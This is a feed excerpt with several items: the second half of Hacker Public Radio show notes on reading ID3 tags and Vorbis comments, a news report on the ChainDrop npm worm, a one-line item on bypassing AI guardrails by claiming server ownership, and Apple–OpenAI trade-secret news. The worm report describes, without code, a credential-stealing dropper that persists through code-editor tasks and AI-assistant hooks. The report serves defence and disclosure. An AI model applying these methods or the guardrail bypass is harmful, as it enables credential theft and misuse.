
<p>
27 vorbiscomment</p>

<p>
The third is "vorbiscomment" and works with OGG files.</p>

<p>
On Linux systems this should be provided by the "vorbis-tools" package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install vorbis-tools</p>

<p>

</p>

<p>
28</p>

<p>
The vorbiscomment program is used to list or edit comments in Ogg Vorbis files.</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the license.lgpl file in the source tarball, this is published under the LGPL version2.</p>

<p>

</p>

<p>
29</p>

<p>
The display format for vorbiscomment follows the data definition format in the vorbis standard, whereas ffprobe re-formats it to match its own preferred appearance. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
30 Examples from HPR</p>

<p>

</p>

<p>
With the background out of the way, I will now give several examples of how to list the tags or fields.</p>

<p>

</p>

<p>
31 Listing ID3v1 Tags</p>

<p>

</p>

<p>
As previously mentioned HPR uses both ID3v1 and ID3v2 tags in the same file.</p>

<p>
However, so far as I can tell, most software seems to look for ID3v2 tags first, and don't display the ID3v1 tags if both are present.</p>

<p>

</p>

<p>
32</p>

<p>
The ID3v2 program however seems to do the opposite, at least with HPR podcasts. </p>

<p>
However, the number of samples that I have which have both are rather limited, so I can't be sure if this is always the case or if this is a side effect of something else.</p>

<p>
I did mention that ID3 tags were a mess, didn't I?</p>

<p>

</p>

<p>
33</p>

<p>
Let's go on to our example however.</p>

<p>
If we want to see the ID3v1 tags, then using hpr4678 as an example, if we type</p>

<p>

</p>

<p>
id3v2 -l hpr4678.mp3</p>

<p>
=</p>

<p>
we get the following result.</p>

<p>

</p>

<p>
34</p>

<p>

</p>

<p>
id3v1 tag info for hpr4678.mp3:</p>

<p>
Title  : High Resolution Elapsed Time i  Artist: Whiskeyjack                   </p>

<p>
Album  : Hacker Public Radio             Year: 2026, Genre: Unknown (186)</p>

<p>
Comment: https://hackerpublicradio.or    Track: 0</p>

<p>
hpr4678.mp3: No ID3v2 tag</p>

<p>

</p>

<p>
35</p>

<p>
The first line tells us that this information is ID3v1 tags.</p>

<p>
The last line tells us that there are no ID3v2 tags. </p>

<p>
This last line is incorrect, but we will come back to that later.</p>

<p>

</p>

<p>
36</p>

<p>
In between are three lines of text.</p>

<p>
The first line contains the title and the artist.</p>

<p>
The title is the name of the HPR episode, or at least part of it.</p>

<p>
The artist is the HPR contributor who made that episode.</p>

<p>

</p>

<p>
37</p>

<p>
The second line contains the album name, the year, and the genre.</p>

<p>
The album name is this case is simply Hacker Public Radio, as the concept of an album doesn't really fit a podcast.</p>

<p>
The year is the year that the episode was recorded, or at least the year in which the MP3 file was assembled with the HPR intro and the tags added.</p>

<p>

</p>

<p>
38</p>

<p>
The genre is listed as "unknown 186".</p>

<p>
Recall that with ID3v1 tags there is a one byte numeric genre code, but that no genres above 70 were ever officially assigned.</p>

<p>
It seems to be a general convention though to use a code 186 for podcasts.</p>

<p>

</p>

<p>
39</p>

<p>
The third line contain a comment and track number.</p>

<p>
The comment in this case is the HPR web site URL.</p>

<p>
The track is zero.</p>

<p>
"Track" would appear to serve no useful purpose in this instance.</p>

<p>
However, it may be there for reasons of compatibility that I am unaware of, so I would be very reluctant to remove that without very good reason.</p>

<p>

</p>

<p>
40</p>

<p>
If we look at the above information in detail we can see that two of the tags appear to have cut their text information off short.</p>

<p>
The title is cut off in mid word after the 30th character.</p>

<p>
The final "g" in "hackerpublicradio.org" is cut off in the comment.</p>

<p>

</p>

<p>
41 Alternative Method for ID3v1</p>

<p>
We can confirm whether the text being cut short is due to a problem with the id3v2 program, or whether it really represents the data in the file by using a rather simple check.</p>

<p>

</p>

<p>
42</p>

<p>
Recall that ID3v1 tags are simply the last 128 bytes of the MP3 file.</p>

<p>
All we need to do is to extract the last 128 bytes of the file.</p>

<p>
We can do this using the standard tail command.</p>

<p>

</p>

<p>
tail -c128 hpr4678.mp3 | tr '\0' ' ' | tr -c '[:print:]' 'x'</p>

<p>

</p>

<p>
43</p>

<p>
The -c128 option used with tail tells it to extract the last 128 bytes of the file.</p>

<p>
We then pass the result through the "tr" command and tell it to replace null bytes with new line characters.</p>

<p>
Then we replace any remaining non-printable characters  with an 'x'.</p>

<p>

</p>

<p>
When we do that we get the following</p>

<p>

</p>

<p>
44</p>

<p>

</p>

<p>
TAGHigh Resolution Elapsed Time iWhiskeyjack                   Hacker Public Radio           2026https://hackerpublicradio.or  x</p>

<p>

</p>

<p>
45</p>

<p>
The first three characters are capital TAG.</p>

<p>
This is a flag which indicates that what follows  are ID3 tags.</p>

<p>

</p>

<p>
46</p>

<p>
Next, we have 30 characters which specify the title.</p>

<p>
The next 30 characters specify the artist.</p>

<p>
The next 30 characters are the album, or in this case just "Hacker Public Radio".</p>

<p>
The next 4 characters are the year.</p>

<p>
The next 30 characters are a comment, or in this case the HPR URL, except for the final "g".</p>

<p>
The last character is the genre code, which we have replaced with an "x" because it is otherwise non-printable.</p>

<p>

</p>

<p>
47</p>

<p>
Taken together, these add up to 128 bytes.</p>

<p>
We can see that the field lengths are of fixed length with pre-defined meanings based on position.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
48 ID3v2 Using ffprobe</p>

<p>
Now lets move on to ID3v2 tags, which is probably more useful for most people.</p>

<p>

</p>

<p>
For this, we will switch to using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.mp3</p>

<p>

</p>

<p>
The -hide_banner option suppresses extra data about the codecs which doesn't interest us much and leaves mainly the tag information plus a few other things.</p>

<p>

</p>

<p>
49</p>

<p>
The output gives us the full data that is associated with the podcast episode from the HPR web site.</p>

<p>
This includes the episode number, year, full title, author, license, and full summary text.</p>

<p>
You can see a full copy of this in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'hpr4678.mp3':</p>

<p>
  Metadata:</p>

<p>
	track           : 4678</p>

<p>
	year            : 2026</p>

<p>
	title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	author          : Whiskeyjack</p>

<p>
	copyright       : CC-BY-SA</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	genre           : Podcast</p>

<p>
	encoder         : Lavf61.7.103</p>

<p>
	date            : 2026</p>

<p>
  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
50</p>

<p>
The ID3v2 tag version contains all of the information which was provided by the author, including the full title and description without the 30 character limit of ID3V1.</p>

<p>

</p>

<p>
If you want any of this information for some reason you should be able to extract it from the MP3 file using a combination of ffprobe, grep, and cut rather than trying to scrape the HPR web site and matching it to the MP3 later. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
51 ID3v1 Using ffprobe</p>

<p>

</p>

<p>
I previously mentioned that HPR MP3 files have both ID3v1 and ID3v2 tags in the same file, and that ffprobe will default to using ID3v2 tags if present.</p>

<p>

</p>

<p>
However, what happens if we remove the ID3v2 tags and leave the ID3v1 tags?</p>

<p>
I will describe how to strip tags later on in this episode, but let's just assume for now that I have done this.</p>

<p>

</p>

<p>
If we then use ffprobe to read the ID3 tags using the same command as before, we get the following output.</p>

<p>

</p>

<p>
52</p>

<p>
We get a series of lines in the same format as with ID3v2, but with each data element limited to at most 30 bytes.</p>

<p>
These include title, artist, album, date, comment, and genre. </p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'test.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : High Resolution Elapsed Time i</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	date            : 2026</p>

<p>
	comment         : https://hackerpublicradio.or</p>

<p>
	genre           : Podcast</p>

<p>
  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
53</p>

<p>
The information is the same as when read by the id3v2 program, but formatted for display in the manner that ffprobe uses. </p>

<p>

</p>

<p>
This shows that ffprobe can indeed read ID3v1 tags if they are the only ones present. </p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
54 Reading Vorbis Comments</p>

<p>
Now let us turn our attention to vorbis comments, which are the equivalent to tags for ogg files.</p>

<p>
We will look at this using two methods.</p>

<p>

</p>

<p>
55 Using vorbiscomment</p>

<p>
The first method we will look at is using the vorbiscomment package.</p>

<p>
The command is </p>

<p>

</p>

<p>
vorbiscomment -l hpr4678.ogg</p>

<p>

</p>

<p>
56</p>

<p>
The output of this is a series of lines with key value pairs separated by equal signs.</p>

<p>
The output is also exactly the same as the MP3 file, except that there is an additional "language" field, "track" becomes "TRACKNUMBER", and there is no "date" field.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
encoder=Lavc61.19.101 libvorbis</p>

<p>
TRACKNUMBER=4678</p>

<p>
year=2026</p>

<p>
language=English</p>

<p>
title=High Resolution Elapsed Time in Shell Scripts</p>

<p>
author=Whiskeyjack</p>

<p>
copyright=CC-BY-SA</p>

<p>
artist=Whiskeyjack</p>

<p>
album=Hacker Public Radio</p>

<p>
DESCRIPTION=https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
genre=Podcast</p>

<p>

</p>

<p>

</p>

<p>
57 Using ffprobe</p>

<p>
Now lets do the same again using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.ogg</p>

<p>

</p>

<p>
58</p>

<p>
The output content is the same of course, but the field names have all been forced to lower case, and instead of an equal sign as a separator between the key and value, this has been replaced by a colon and white space has been added to make the output look a bit nicer.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, ogg, from 'hpr4678.ogg':</p>

<p>
  Duration: 00:30:10.14, start: 0.000000, bitrate: 86 kb/s</p>

<p>
  Stream #0:0(English): Audio: vorbis, 192000 Hz, mono, fltp, 4294967 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : Lavc61.19.101 libvorbis</p>

<p>
	  track           : 4678</p>

<p>
	  year            : 2026</p>

<p>
	  title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	  author          : Whiskeyjack</p>

<p>
	  copyright       : CC-BY-SA</p>

<p>
	  artist          : Whiskeyjack</p>

<p>
	  album           : Hacker Public Radio</p>

<p>
	  comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	  genre           : Podcast</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
59 Another Example from Another Podcast</p>

<p>

</p>

<p>
The above is interesting, but it's a sample of one podcast. Let's look at another different one altogether.</p>

<p>
For this test I used two episodes of the Linux Matters podcast, episodes 68 and 82. As to why I am using two different episodes I will explain in a moment.</p>

<p>

</p>

<p>
60 Episode 68</p>

<p>
We will start with examining episode 68</p>

<p>

</p>

<p>
Using id3v2</p>

<p>
The command using id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP68.mp3</p>

<p>

</p>

<p>
61</p>

<p>
This provides output as a series of lines containing the official 4 character identifiers from the standard, a description of the identifiers, and the text provided by the authors.</p>

<p>
The identifiers include TIT2 indicating title, TALB indicating show title, TRCK indicating track number, and a number of others.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
id3v2 tag info for LMP68.mp3:</p>

<p>
TIT2 (Title/songname/content description): 68: Frameworks, Filesystems and Fixes</p>

<p>
TPE1 (Lead performer(s)/Soloist(s)): Linux Matters</p>

<p>
TALB (Album/Movie/Show title): Linux Matters</p>

<p>
TYER (Year): 2025</p>

<p>
TRCK (Track number/Position in set): 68</p>

<p>
COMM (Comments): ()[]: https://linuxmatters.sh/</p>

<p>
APIC (Attached picture): (LMP-3000-moon.jpg)[, 3]: image/jpeg, 554576 bytes</p>

<p>
LMP68.mp3: No ID3v1 tag</p>

<p>

</p>

<p>
62</p>

<p>
From this we can see what the id3v2 program would normally do with ID3v2 tags. </p>

<p>
Note that it outputs the actual 4 character identifiers, plus a description of what they mean, and then the actual data.</p>

<p>
This helps when trying to understand the actual encoding of the data.</p>

<p>

</p>

<p>

</p>

<p>
63 Using ffprobe</p>

<p>
Now let's try that with ffprobe.</p>

<p>

</p>

<p>
The command is</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP68.mp3</p>

<p>

</p>

<p>
64</p>

<p>
This provides the same publisher provided data as before.</p>

<p>
However it does not display the 4 character identifiers but instead uses its own format for display.</p>

<p>

</p>

<p>
Also note in both cases that there is a picture embedded in the MP3 file which is used to generate an icon for display in your file manager.</p>

<p>

</p>

<p>
With ffprobe this results in there being two keys called "title" and two keys called "comment". </p>

<p>
This makes grepping for the metadata more complicated, but it should still be possible.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP68.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : 68: Frameworks, Filesystems and Fixes</p>

<p>
	artist          : Linux Matters</p>

<p>
	album           : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh/</p>

<p>
	track           : 68</p>

<p>
	date            : 2025</p>

<p>
  Duration: 00:28:12.45, start: 0.025056, bitrate: 114 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : LAME3.100</p>

<p>
  Stream #0:1: Video: mjpeg (Progressive), yuvj444p(pc, bt470bg/unknown/unknown), 4166x4166 [SAR 72:72 DAR 1:1], 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : LMP-3000-moon.jpg</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Episode 82</p>

<p>
Now lets try that again with a different episode, 82.</p>

<p>

</p>

<p>
Using id3v2</p>

<p>

</p>

<p>
The command for id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP82.mp3</p>

<p>

</p>

<p>
This results in id3v2 saying</p>

<p>

</p>

<p>
LMP82.mp3: No ID3 tag</p>

<p>

</p>

<p>
What happened here?</p>

<p>

</p>

<p>
66 Using ffprobe</p>

<p>

</p>

<p>
Let's try that again with ffprobe.</p>

<p>
The command</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP82.mp3</p>

<p>

</p>

<p>
provides the expected output.</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP82.mp3':</p>

<p>
  Metadata:</p>

<p>
	date            : 2026-05</p>

<p>
	title           : 82: Ditching Grammarly for Open Sauce</p>

<p>
	album           : Linux Matters</p>

<p>
	track           : 82</p>

<p>
	artist          : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh</p>

<p>
  Duration: 00:33:37.83, start: 0.025056, bitrate: 113 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
  Stream #0:1: Video: png, rgb24(pc, gbr/unknown/unknown), 3000x3000, 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : Linux Matters Logo</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>
67</p>

<p>
This results in a few minor changes from episode 68, but otherwise it looks the same.</p>

<p>
So there are ID3 tags, but for some reason id3v2 couldn't recognize them.</p>

<p>

</p>

<p>
A bit more research and experimentation shows that this change appears to have happened right after episode 68, when they changed hosting and processing arrangements.</p>

<p>

</p>

<p>
I suspect that something changed with respect to the ID3v2 tag formatting somewhere along the way in the change over, and this in turn has affected the ability of the id3v2 program to recognize the tags.</p>

<p>

</p>

<p>
I will come back to the implications of this later in my conclusions.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
68 Stripping ID3 Tags</p>

<p>

</p>

<p>
Now let's turn to a differen topic. </p>

<p>

</p>

<p>
Stripping ID3 tags refers to removing the ID3 tags from the audio file.</p>

<p>

</p>

<p>
I will start off by emphasizing that normally, you don't want to do this.</p>

<p>
You should only be doing it if you suspect the ID3 tags are causing a problem with the playback or ordering of the files.</p>

<p>

</p>

<p>
69</p>

<p>
In my case I do it when I have problems with my MP3 player when playing certain podcasts.</p>

<p>
This MP3 player orders files according to ID3 tags rather than by file name.</p>

<p>
This can result in the podcasts being played in an unpredictable order which I find undesirable.</p>

<p>
This is particularly a problem with podcasts from certain publishers where the title data does not follow any consistent pattern, but is whatever someone felt like doing that day.</p>

<p>

</p>

<p>
70</p>

<p>
I also often have to normalize the files from the same publishers to get a consistent audio loudness.</p>

<p>
See my series on Simple Podcasting for information on how to use ffmpeg to normalize the audio loudness.</p>

<p>

</p>

<p>
The solution to the inconsistent tag formats in these cases is to simply strip the ID3 tags altogether.</p>

<p>
The player then falls back on using the file names, and I can readily rename the files to a consistent format.</p>

<p>

</p>

<p>
I have never had these sorts of problems with HPR podcasts.</p>

<p>
If you are not having any problems of this nature, then as I said, don't bother stripping the tags.</p>

<p>

</p>

<p>
71</p>

<p>
To strip the ID3 tags from an MP3 file use the following.</p>

<p>

</p>

<p>
id3v2 -D hpr4678.mp3</p>

<p>

</p>

<p>
id3v2 will strip the tags and overwrite the existing file.</p>

<p>
If you wish to keep a copy with the tags, be sure to keep a backup before you try things.</p>

<p>

</p>

<p>
72</p>

<p>
When it comes to stripping tags, the options are</p>

<p>

</p>

<p>
"-s" deletes ID3v1 tags.</p>

<p>
"-d" deletes ID3v2 tags.</p>

<p>
"-D" deletes both v1 and v2 tags.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
73 Conclusions</p>

<p>

</p>

<p>
In this episode we took a very brief look at ID3 tags and vorbis comments and ways of reading them.</p>

<p>

</p>

<p>
74</p>

<p>
ID3 tags and Vorbis comments provide a means of allowing information about an MP3 or OGG Vorbis file to be embedded in the file itself.</p>

<p>
Podcast publishers very often use this to label the file with information such as title, publisher, and author.</p>

<p>
We can read this information using Fee Software tools such as ffprobe, ID3v2, and vorbiscomment.</p>

<p>

</p>

<p>
75</p>

<p>
ID3 tags seem to be a mess with more than one incompatible versions, and difficulties in reading them even within the same version.</p>

<p>
They are difficult to test for because there is so much hardware out there of varying ages, much of which you will never have heard of let alone had access to.</p>

<p>
If you are recording episodes for HPR you do not have to worry about this, as HPR will do this behind the scenes for you.</p>

<p>
However, if you are responsible for producing a podcast or other similar audio and you have a setup that works, it is probably best not to change anything without good reason. </p>

<p>

</p>

<p>
76</p>

<p>
Vorbis comments seem to be much less of a problem.</p>

<p>
However, there are far fewer devices which can play OGG files compared to MP3, so simply switching to OGG may not be a realistic solution to the ID3 tag problem.</p>

<p>

</p>

<p>
77</p>

<p>
If you wish to have one tool that can read ID3 tags of all sorts and vorbis comments, then ffprobe is your obvious choice.</p>

<p>

</p>

<p>
78</p>

<p>
The ID3v2 program will provide more information about the ID3 tags, including the actual identifiers used. However, it does not work in all cases.</p>

<p>

</p>

<p>
79</p>

<p>
The vorbiscomment program will read Vorbis comments from OGG files in a manner which is closer to the actual vorbis format than ffprobe does, which uses its own display format.</p>

<p>

</p>

<p>
80</p>

<p>
HPR includes both ID3v1 and ID3v2 tags in its MP3 files. </p>

<p>
ffprobe can be used to read the ID3v2 tags, and the id3v2 program can be used to read the ID3v1 tags.</p>

<p>
You can also read the ID3v1 tags using the tail command.</p>

<p>

</p>

<p>
81</p>

<p>
I have barely scratched the surface of this subject and have not talked at all about creating tags or comments.</p>

<p>
If anyone else would like to take up the challenge of providing more detail, or of correcting any mistakes that  have made, please send in a podcast episode on the subject.</p>

<p>
If you have any comments you would like to make, leave them in the comment section below this episode on the HPR web site.</p>

<p>

</p>

<p>
82</p>

<p>
I hope to see you all again in future in another episode of HPR.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
References</p>

<p>

</p>

<p>
https://id3.org/Introduction</p>

<p>
https://www.xiph.org/</p>

<p>
https://wiki.xiph.org/VorbisComment</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4698/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ChainDrop credential stealing worm infects over 400 npm packages]]></title>
<description><![CDATA[A self-propagating worm-like attack is hitting the npm registry, having infected 444 packages from more than a dozen publishers so far. The impact is massive, with the packages affected amounting to more than 2 billion monthly downloads combined.



The attack began with the compromise of a GitHu...]]></description>
<link>https://tsecurity.de/de/3704460/it-security-nachrichten/chaindrop-credential-stealing-worm-infects-over-400-npm-packages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704460/it-security-nachrichten/chaindrop-credential-stealing-worm-infects-over-400-npm-packages/</guid>
<pubDate>Wed, 05 Aug 2026 00:41:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A self-propagating worm-like attack is hitting the npm registry, having infected 444 packages from more than a dozen publishers so far. The impact is massive, with the packages affected amounting to more than 2 billion monthly downloads combined.</p>



<p class="wp-block-paragraph">The attack began with the compromise of a GitHub account belonging to Jared Wray, who maintains Keyv, a package with over 150 million weekly downloads that provides an interface for interacting with key-value storage across multiple backends. Version 6.0.0 published at around 9:00 UTC on Tuesday contained a new version of the <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">Shai-Hulud</a> credential stealing malware.</p>



<p class="wp-block-paragraph">The compromised account is also used to maintain a number of other popular packages, including cacheable, flat-cache, file-entry-cache, cacheable-request, cache-manager, ecto, and more. All of these had trojanized versions published as well.</p>



<p class="wp-block-paragraph">Soon after, the attack expanded beyond this account, infecting packages from other organizations on npm — @deliveroo/reevent, @or-sdk/invitations , @picsart/ai-sdk, @qlik/embed-runtime, picasso.js, to name a few. As of 18:10 UTC, StepSecurity <a href="https://www.stepsecurity.io/blog/chaindrop-npm-worm">had detected the malicious code across 444 packages and 2,212 versions</a>.</p>



<p class="wp-block-paragraph">“Every poisoned version carries the same infection pattern: a preinstall dropper that downloads the legitimate Bun JavaScript runtime, and a 710KB obfuscated second stage that steals credentials, publishes more malicious packages, and burrows into AI developer tooling,” researchers from StepSecurity said.</p>



<p class="wp-block-paragraph">Although the code appears to be a new variant of Shai-Hulud — a supply-chain credential stealing worm that has plagued the npm and PyPI repositories since last year in different variations — researchers have decided to dub this new attack campaign ChainDrop because this new version uses the Ethereum blockchain for command and control, a technique known as EtherHiding.</p>



<p class="wp-block-paragraph">“The compromise was carried out by pushing malicious files directly to the main branch and then immediately cutting a new release, meaning the poisoned versions were published to npm with valid provenance signed by GitHub Actions,” researchers from Aikido Security said in <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">a report</a>.</p>



<p class="wp-block-paragraph">Wray confirmed via X that he uses OpenID Connect (OIDC) with npm and one-time codes for GitHub, so he was not using long-term static tokens. The developer regained access to his GitHub account at around 20:00 UTC and <a href="https://x.com/jaredwray/status/2084735469359935697">said he’s doing a full audit</a>.</p>



<h2 class="wp-block-heading">The malware infects AI code assistants</h2>



<p class="wp-block-paragraph">The malicious files added to packages are <code>setup.mjs</code> and <code>Math_Symbol.js</code> — renamed <code>math_init.js</code> in some cases. These get executed by a preinstall script during the npm installation process of the packages and then proceed to download and execute a secondary obfuscated payload on the computer.</p>



<p class="wp-block-paragraph">The malware searches the local environment for cloud credentials, infrastructure secrets, developer access tokens, AI-related configuration files, and cryptocurrency wallets. It also identifies CI/CD workflows and build runners and tries to scrape their memory for temporary secrets injected during the build process.</p>



<p class="wp-block-paragraph">New to this variant are persistent mechanisms deployed inside code editors such as VS Code via <code>tasks.json</code> and AI code assistants such as Claude Code through hooks.</p>



<p class="wp-block-paragraph">“Targets for credential theft have been expanded by almost 70%, with new additions including AI-agent credential stores for Claude, OpenAI, Codex, Cursor and Gemini; cryptocurrency keystores for Foundry, Solana and Monero; self-hosted CI and registry secrets such as Jenkins’ master.key, Argo CD and Harbor; Alibaba Cloud and Tencent Cloud CLI configurations; and system files including <code>/etc/shadow</code>,” researchers from security firm Wiz said in their own <a href="https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack">analysis</a>.</p>



<h2 class="wp-block-heading">Mitigation</h2>



<p class="wp-block-paragraph">Unfortunately, enterprise security teams must perform full audits of developer machines. The compromised packages are transient dependencies for thousands of others and if any of the poisoned versions were installed during the attack window, all possible credentials accessible on that machine, or other machines accessible from that machine, need to be rotated.</p>



<p class="wp-block-paragraph">“Rotate, at minimum: npm automation tokens, GitHub personal access tokens and SSH keys, cloud provider credentials (<code>~/.aws</code>, <code>~/.config/gcloud</code>, Azure), Kubernetes service accounts, and any secrets in environment variables or .env files present at install time,” the StepSecurity researchers said. “Maintainers of npm packages should treat their publish credentials as exposed. The second wave of this campaign demonstrates exactly why: additional maintainer accounts published the identical payload within the same hour.”</p>



<p class="wp-block-paragraph">The StepSecurity report includes indicators of compromise, a list of infected packages, as well as defense-in-depth recommendations for developer machines and processes that could have stopped this compromise.</p>



<p class="wp-block-paragraph">Using the <code>-—ignore-scripts</code> npm flag in CI workflows, a technique known as script gating, would have ignored the <code>preinstall</code> script that delivers the payload. Package managers like npm, pnpm, Yarn and Bun now support minimum release age policies for package installation. Configuring this setting to between 3 to 7 days buys users some time in case a newly released version turns out to be poisoned.</p>



<p class="wp-block-paragraph">Security companies continuously scan and monitor the npm registry and new supply chain compromises are usually discovered within minutes or hours. In this case the malicious versions began being removed by the npm team within two hours, but being a worm, the attack keeps propagating via newly compromised developer accounts.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bypassing AI guardrails is so easy a script kiddie can do it]]></title>
<description><![CDATA[Claiming 'it's my server' was often enough to persuade models to help]]></description>
<link>https://tsecurity.de/de/3703992/it-security-nachrichten/bypassing-ai-guardrails-is-so-easy-a-script-kiddie-can-do-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703992/it-security-nachrichten/bypassing-ai-guardrails-is-so-easy-a-script-kiddie-can-do-it/</guid>
<pubDate>Tue, 04 Aug 2026 19:39:23 +0200</pubDate>
<content:encoded><![CDATA[Claiming 'it's my server' was often enough to persuade models to help]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Says More Ex-Employees May Have Taken Confidential Data to OpenAI]]></title>
<description><![CDATA[Apple is now seeking a preliminary injunction to prevent OpenAI and Jony Ive's io startup from developing AI hardware allegedly based on stolen Apple trade secrets. "The iPhone maker also claims that more of its former employees may be involved with the trade secrets theft," reports TechCrunch. F...]]></description>
<link>https://tsecurity.de/de/3703991/it-security-nachrichten/apple-says-more-ex-employees-may-have-taken-confidential-data-to-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703991/it-security-nachrichten/apple-says-more-ex-employees-may-have-taken-confidential-data-to-openai/</guid>
<pubDate>Tue, 04 Aug 2026 19:39:15 +0200</pubDate>
<content:encoded><![CDATA[Apple is now seeking a preliminary injunction to prevent OpenAI and Jony Ive's io startup from developing AI hardware allegedly based on stolen Apple trade secrets. "The iPhone maker also claims that more of its former employees may be involved with the trade secrets theft," reports TechCrunch. From the report: In a new filing, Apple is requesting expedited discovery from the accused OpenAI employees, senior systems engineer Chang Liu and Chief Hardware Officer Tang Yew Tan; OpenAI, and its foundation; and io, the device startup co-founded by Apple's former lead designer Jony Ive. Apple also notes that its continued investigation has so far revealed 11 other former Apple employees beyond Liu and Tan may have been witnesses or otherwise involved in the case, and others who were previously named in the original complaint, like OpenAI employee Yu-Ting Peng.
 
The filing marks an escalation in Apple's legal battle with OpenAI, as it suggests Apple has uncovered new evidence that the misconduct goes beyond the former employees named in the original complaint. "For example, another former Apple employee seems to have met with Mr. Liu and Ms. Peng in advance of Ms. Peng's interview at OpenAI and discussed with them during that meeting Apple proprietary information relating to unannounced products," the filing states. "Yet another former Apple employee took screenshots of confidential Apple documents relating to an unannounced Apple product before an interview at OpenAI."
 
"And, after Apple filed its complaint, multiple former Apple employees now working at OpenAI reached out to discuss returning Apple-issued work devices they kept when they left Apple," Apple claims, suggesting there were more who were possibly involved with the scheme. Apple is pushing the court to allow for expedited discovery because it believes it has good cause to suspect that there are others involved in the theft of its intellectual property. The company noted that its motion for a preliminary injunction is also pending. Apple's request for a preliminary injunction is "both based on false information and completely unnecessary because we do not have, nor want, any of their trade secrets," said OpenAI in a blog post.
 
"We're much more interested in building innovative products and technologies that push the frontier," OpenAI's statement reads.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Says+More+Ex-Employees+May+Have+Taken+Confidential+Data+to+OpenAI%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F04%2F1719218%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F08%2F04%2F1719218%2Fapple-says-more-ex-employees-may-have-taken-confidential-data-to-openai%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



